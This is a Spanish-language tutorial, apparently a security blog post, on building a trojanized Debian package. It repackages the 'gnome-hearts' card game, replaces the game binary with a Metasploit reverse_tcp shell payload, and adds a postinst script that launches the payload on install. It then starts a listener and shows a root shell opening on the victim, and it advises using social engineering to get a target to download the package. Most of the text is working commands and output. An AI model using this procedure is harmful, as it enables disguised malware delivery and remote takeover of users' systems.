En entradas anteriores sobre Payloads en MetasSploit, se ha hecho énfasis especial sobre Payloads contra plataformas Windows y como estos conseguían burlar la seguridad de la víctima. En esta ocasión se intentará indicar el procedimiento que frecuentemente se lleva a cabo para conseguir estos mismos resultados sobre plataformas GNU/Linux, en este caso particular sobre distribuciones Debian/Ubuntu por medio de envenenamiento de paquetes de instalación (*.DEB)

El procedimiento es muy sencillo, a continuación se listan los pasos que se deben de llevar a cabo para conseguir una consola remota usando un DEB infectado.

  1. Para que este ataque funcione, en primer lugar es necesario elegir una aplicación que sea interesante para el usuario, esta elección deberá hacerse en función del conocimiento que se tenga sobre la víctima, frecuentemente utilizando técnicas de ingeniería social como el “preloading” explicada en el Social Engineering Framework, posiblemente un juego o una aplicación con características que realmente sean de interés para el objetivo.
  2. Una vez elegido el software que se desea enviar al usuario, es necesario comenzar con el proceso de descarga, construcción y creación del payload usando MetaSploit.
    Suponiendo que el objetivo sea una persona a la que le gustan los juegos de cartas y que exista una alta probabilidad que quiera usar una “versión mejorada” del clásico juego de corazones, procedemos a descargar fichero DEB correspondiente al juego “gnome-hearts”

    >/home/adastra/fakeGame/gnomecards# apt-get –download-only install gnome-hearts

    Reading package lists… Done

    Building dependency tree

    Reading state information… Done

    The following extra packages will be installed:

    gnome-games-extra-data

    Recommended packages:

    gnome-games-data

    The following NEW packages will be installed:

    gnome-games-extra-data gnome-hearts

    0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.

    Need to get 339kB/3,958kB of archives.

    After this operation, 8,217kB of additional disk space will be used.

    Do you want to continue [Y/n]? Y

    Get:1 http://es.archive.ubuntu.com/ubuntu/ maverick/universe gnome-hearts amd64 0.3-2ubuntu3 [339kB]

    Fetched 339kB in 0s (451kB/s)

    Download complete and in download only mode

  3. Una vez descargado el fichero de instalación, se procede a crear la estructura de directorios.
    >/home/adastra/fakeGame/gnomecards# mv /var/cache/apt/archives/gnome-hearts_0.3-2ubuntu3_amd64.deb .

    >/home/adastra/fakeGame/gnomecards# dpkg -x gnome-hearts_0.3-2ubuntu3_amd64.deb makeinstall

    >/home/adastra/fakeGame/gnomecards# mkdir makeinstall/DEBIAN

  4. Ahora es necesario crear los ficheros de control para la construcción del DEB, los cuales deben de estar ubicados en el directorio DEBIAN, a continuación se listan los contenidos de estos ficheros:control
Package: gnome-hearts

Version: 0.3-2ubuntu3

Section: Games and Amusement

Priority: optional

Architecture: i386

Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)

Description: a heart’s card game

Hearts is an implementation of the classic card game for the GNOME desktop, featuring configurable rulesets and editable computer opponents to satisfy widely diverging playing styles.

postinst

#!/bin/sh

chmod 2755 /usr/games/gnome-hearts && /usr/games/gnome-hearts &

  1. Ahora se procede a crear el payload con msfpayload.
    >msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.33 LPORT=4444 X > /home/adastra/fakeGame/gnomecards/makeinstall/usr/games/gnome-hearts

    Created by msfpayload (http://www.metasploit.com).

    Payload: linux/x86/shell/reverse_tcp

    Length: 50

    Options: {«LHOST»=>»192.168.1.33», «LPORT»=>»4444»}

  2. Con el payload creado y los ficheros de post-instalacion ubicados en el directorio DEBIAN se procede a la creación del fichero *.DEB
    >/home/adastra/fakeGame/gnomecards/makeinstall/DEBIAN# dpkg-deb –build /home/adastra/fakeGame/gnomecards/makeinstall

    dpkg-deb: building package `gnome-hearts’ in `/home/adastra/fakeGame/gnomecards/makeinstall.deb’.

    >/home/adastra/fakeGame/gnomecards# mv makeinstall.deb gnomehearts.deb

  3. Como se puede apreciar el fichero “makeinstall.deb” se ha creado y se ha renombrado a “gnome-hearts”, ahora es el momento de entregar este fichero a un usuario de GNU/Linux con un sistema Debian o alguno de sus derivados (como Ubuntu) por medio de alguna(s) de la(s) técnica(s) de ingeniería social que frecuentemente se utilizan para realizar ataques del estilo “client-side”, en este caso, para entregar el instalador malicioso, es posible “hospedarlo” en un servidor web al que posteriormente la víctima podrá acceder por medio de un navegador web o con el uso de la utilidad wget.
  4. Ahora, es necesario establecer el listener en la maquina del atacante para que espere una conexión reversa por parte de la maquina remota de la víctima que ha recibido el fichero malicioso
    msf > use exploit/multi/handler

    msf exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp

    PAYLOAD => linux/x86/shell/reverse_tcp

    msf exploit(handler) > set LHOST 192.168.1.33

    LHOST => 192.168.1.33

    msf exploit(handler) > set LPORT 4444

    LPORT => 4444

    msf exploit(handler) > exploit

    [*] Started reverse handler on 192.168.1.33:4444

    [*] Starting the payload handler…

  5. La victima obtendrá el fichero “gnome-hearts.deb” y lo intentará ejecutar con la utilidad dpkg (opción -i) o lo hará desde el gestor de ficheros DEB contenido en distribuciones como Ubuntu (que en cualquier caso ejecutará este mismo comando dpkg). Una vez la victima ejecuta este comando, ya no hay vuelta atrás, el atacante tendrá acceso al sistema por medio de una conexión reversa entre la victima y el atacante.
[*] Started reverse handler on 192.168.1.33:4444

[*] Starting the payload handler…

[*] Sending stage (36 bytes) to 192.168.1.34

[*] Command shell session 1 opened (192.168.1.33:4444 -> 192.168.1.34:33644) at Sun May 22 20:33:36 +0200 2011

whoami

root

uname -r

2.6.38-8-generic

Esto es todo por el momento, En próximas entradas se cambiará el enfoque de este ataque sin el uso de MetaSploit, utilizando rutinas de código escritas en lenguajes de programación como C/C++